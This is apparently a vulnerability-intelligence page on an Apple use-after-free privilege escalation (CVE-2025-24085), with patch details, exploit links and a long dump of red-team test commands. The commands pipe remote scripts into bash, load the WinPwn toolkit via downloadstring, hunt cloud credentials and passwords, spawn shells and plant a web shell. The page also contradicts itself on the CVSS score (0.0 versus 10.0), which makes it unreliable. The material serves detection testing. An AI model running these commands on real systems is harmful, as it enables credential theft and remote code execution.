CVE-2025-24085
Overview
This vulnerability is a use-after-free flaw arising from improper memory management within Apple iOS, iPadOS, and related operating systems. The issue occurs when a previously freed memory object is accessed, leading to undefined behavior in the affected system components. The flaw impacts core system processes handling memory allocation and deallocation, compromising the integrity of memory operations.
Vulnerability Description
A use after free issue was addressed with improved memory management. This issue is fixed in iOS 18.3 and iPadOS 18.3, iPadOS 17.7.6, macOS Sequoia 15.3, macOS Sonoma 14.7.5, macOS Ventura 13.7.5, tvOS 18.3, visionOS 2.3, watchOS 11.3. A malicious application may be able to elevate privileges. Apple is aware of a report that this issue may have been actively exploited against versions of iOS before iOS 17.2.
Impact
An attacker with the ability to execute a malicious application on affected Apple devices can exploit this vulnerability to elevate privileges beyond the application sandbox. Exploitation requires local code execution privileges, typically through user-installed apps. Successful exploitation may lead to unauthorized access to system-level functions, enabling lateral movement or persistence within the device. The vulnerability has a low CVSS score (0.0) but was reportedly exploited in the wild against iOS versions before 17.2.
Solution
Apple has released security updates addressing this issue in iOS 18.3, iPadOS 18.3, iPadOS 17.7.6, macOS Sequoia 15.3, macOS Sonoma 14.7.5, macOS Ventura 13.7.5, tvOS 18.3, visionOS 2.3, and watchOS 11.3. Users and administrators should apply these updates promptly. Detailed patch instructions and advisories are available at Apple’s official support pages: https://support.apple.com/en-us/122066, https://support.apple.com/en-us/122068, and https://support.apple.com/en-us/122071.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in question is characterized as a use-after-free issue, which is a critical memory management flaw that can lead to unauthorized access and privilege escalation. In essence, this type of vulnerability occurs when a program continues to use a memory reference after it has been freed, allowing an attacker to manipulate the memory in a way that can lead to arbitrary code execution. The affected products include various iterations of iOS, iPadOS, macOS, tvOS, visionOS, and watchOS, highlighting the widespread nature of this flaw across Apple’s ecosystem. The severity of this vulnerability is underscored by its perfect CVSS score of 10.0, indicating a high likelihood of exploitation with potentially devastating consequences.
Attack vectors for this vulnerability are particularly concerning due to the potential for exploitation through malicious applications. An attacker could craft a specially designed application that, once installed on a vulnerable device, could exploit the memory management flaw to gain elevated privileges. This could allow the attacker to execute arbitrary code with the same permissions as the user, potentially compromising sensitive data or system integrity. Given that reports indicate active exploitation against versions of iOS prior to 17.2, the urgency for users to update their devices to the latest versions cannot be overstated. The ease with which this vulnerability can be exploited, especially in a mobile environment where users frequently download applications, presents a significant risk.
The real-world impact of this vulnerability on businesses and individuals is profound. For organizations that rely on Apple devices for their operations, the risk of data breaches, unauthorized access to sensitive information, and potential disruption of services is heightened. The ability for an attacker to elevate privileges could lead to the compromise of critical systems, resulting in financial losses, reputational damage, and regulatory repercussions. Furthermore, the interconnected nature of modern technology means that a breach in one area could have cascading effects across an organization’s entire infrastructure, amplifying the potential damage.
To effectively detect and mitigate this vulnerability, organizations should prioritize regular updates and patch management. Ensuring that all devices are running the latest versions of the operating systems is crucial, as updates often include critical security fixes. Additionally, employing robust endpoint protection solutions can help identify and block malicious applications before they can exploit vulnerabilities. Organizations should also consider implementing application whitelisting to restrict the execution of unauthorized software, thereby reducing the attack surface. Regular security training for employees can further enhance awareness of potential threats and promote safe practices when downloading and installing applications.
In conclusion, the use-after-free vulnerability presents a significant threat to the security of Apple devices, with the potential for severe consequences if exploited. The nature of this flaw, combined with the widespread use of affected products, necessitates immediate action from users and organizations alike. By adopting proactive detection and mitigation strategies, the risks associated with this vulnerability can be effectively managed, safeguarding both individual and organizational assets against potential exploitation.
Affected Products (9)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
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Apple | Ipados | All |
cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*
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Apple | Ipados | All |
cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*
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Apple | Iphone Os | All |
cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*
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Apple | Macos | All |
cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*
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Apple | Macos | All |
cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*
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Apple | Macos | All |
cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*
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Apple | Tvos | All |
cpe:2.3:o:apple:tvos:*:*:*:*:*:*:*:*
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Apple | Visionos | All |
cpe:2.3:o:apple:visionos:*:*:*:*:*:*:*:*
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Apple | Watchos | All |
cpe:2.3:o:apple:watchos:*:*:*:*:*:*:*:*
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Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
ExploitDB (1)
| Title | Author | Type | Platform | Date | Link |
|---|---|---|---|---|---|
| macOS LaunchDaemon iOS 17.2 - Privilege Escalation | Mohammed Idrees Banyamer | local | macos | - | View |
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
JGoyd/Glass-Cage-iOS18-CVE-2025-24085-CVE-2025-24201
Glass Cage is a zero-click PNG-based RCE chain in iOS 18.2.1, bypassing LockDown mode protection by exploiting ImageIO (...
|
JGoyd | 39 | 9 | 2025-08-23 | View |
Threat Feed
6 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Public exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.